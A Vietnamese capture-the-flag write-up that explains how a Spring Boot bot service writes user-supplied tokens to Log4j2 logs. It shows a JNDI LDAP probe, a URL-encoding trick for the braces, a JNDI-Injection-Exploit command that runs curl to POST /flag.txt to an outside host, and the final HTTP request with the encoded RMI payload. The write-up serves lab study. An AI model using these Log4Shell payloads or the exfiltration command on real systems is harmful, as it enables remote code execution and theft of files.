    public ResponseEntity<String> handlerCheckIn(@RequestParam("token") String token) {
        Map<String, String> json = new HashMap<String, String>();
        CheckpointBot bot;
        try{
            UUID.fromString(token);
            bot = cRepo.findByToken(token).get(0);
        } catch (IllegalArgumentException exception){
            log.error("Invalid token supplied: " + token);
            json.put("message", "Invalid token supplied");
            return new ResponseEntity<String>(gson.toJson(json),HttpStatus.UNAUTHORIZED);
        }
  • Người dùng có thể control được tham số token. Sau đó token được tìm kiếm trong list thông qua hàm findByToken và lấy token đầu tiên trong list.
  • Nếu như token không có, hoặc bị lỗi sẽ đưa Invalid token supplied: + token người dùng đã nhập vào file log. Và trả về reponse ra màn hình Invalid token supplied.
@GetMapping("/api/checkpointbot/sheet")
public ResponseEntity<?> download(@RequestParam("token") String token) throws Exception {
    Map<String, String> json = new HashMap<String, String>();
    CheckpointBot bot;
    CheckInUtility checkInUtility;
    try{
        UUID.fromString(token);
    } catch (IllegalArgumentException exception){
        log.error("Invalid token supplied: " + token);
        json.put("message", "Invalid token supplied");
        return new ResponseEntity<String>(gson.toJson(json),HttpStatus.UNAUTHORIZED);
    }
    try{
        bot = cRepo.findByToken(token).get(0);
    } catch (Exception e){
        log.error("Invalid token supplied: " + token);
        json.put("message", "Invalid token supplied");
        return new ResponseEntity<String>(gson.toJson(json),HttpStatus.UNAUTHORIZED);
    }
  • /api/checkpointbot/sheet cũng check token nếu không nằm trong list thì sẽ ghi token mà người dùng nhập vào đó vào log.

File pom.xml cho biết được chương trình đang sử dụng log4j để lưu log:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
    <version>2.6.1</version>
    <exclusions>
        <exclusion>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-logging</artifactId>
        </exclusion>
    </exclusions>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-log4j2</artifactId>
    <version>2.6.1</version>
</dependency>

=> Ở đây có thể xảy ra RCE dựa vào lỗi của Log4j gần đây.
Thử test với payload đơn giản của Log4j:

${jndi:ldap://jzj0drqj.requestrepo.com/a}
  • Nếu như có request DNS tới server của mình có nghĩ là đã trigger thành công.
  • Nhưng sau ghi send payload trên thì HTTP status response trả về là 400.

  • Sau khi check các char có trong payload thì thấy được kí tự {,} là nguyên nhân gây ra lỗi nên payload trên không thể chạy được.
  • Ở đây mình thử URL encode 2 kí tự trên thì bypass được và có request tới host của mình.


=> Đã trigger thành công lỗi Log4j.

Vậy bây giờ cần RCE để đọc flag vì flag nằm trong thư mục root.

Exploit

Sử dụng công cụ JNDI-Injection-Exploit tạo payload để RCE. Tiến hành tạo payload:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl -X POST @/flag.txt http://14yo1kk2.requestrepo.com' -
A [YOUR_IP]

Sẽ tạo ra 3 target để sử dụng nhưng vì mặc định trustURLCodebase=false nên sử dụng payload dành cho trustURLCodebase is false.

Payload

GET /api/checkpointbot/check-in?token=$%7Bjndi:rmi://[YOUR_IP]:1099/okrl6h%7D HTTP/1.1
Host: localhost:1337
Connection: close

Có thể send payload ở /api/checkpointbot/check-in hoặc /api/checkpointbot/sheet vì cả 2 đều xảy ra lỗi Log4j.

Flag : HTB{l0g4j2_g4dg3t_ch4in_55t1_f0r_fun}


Written by taidh & son.

2.734 lượt xem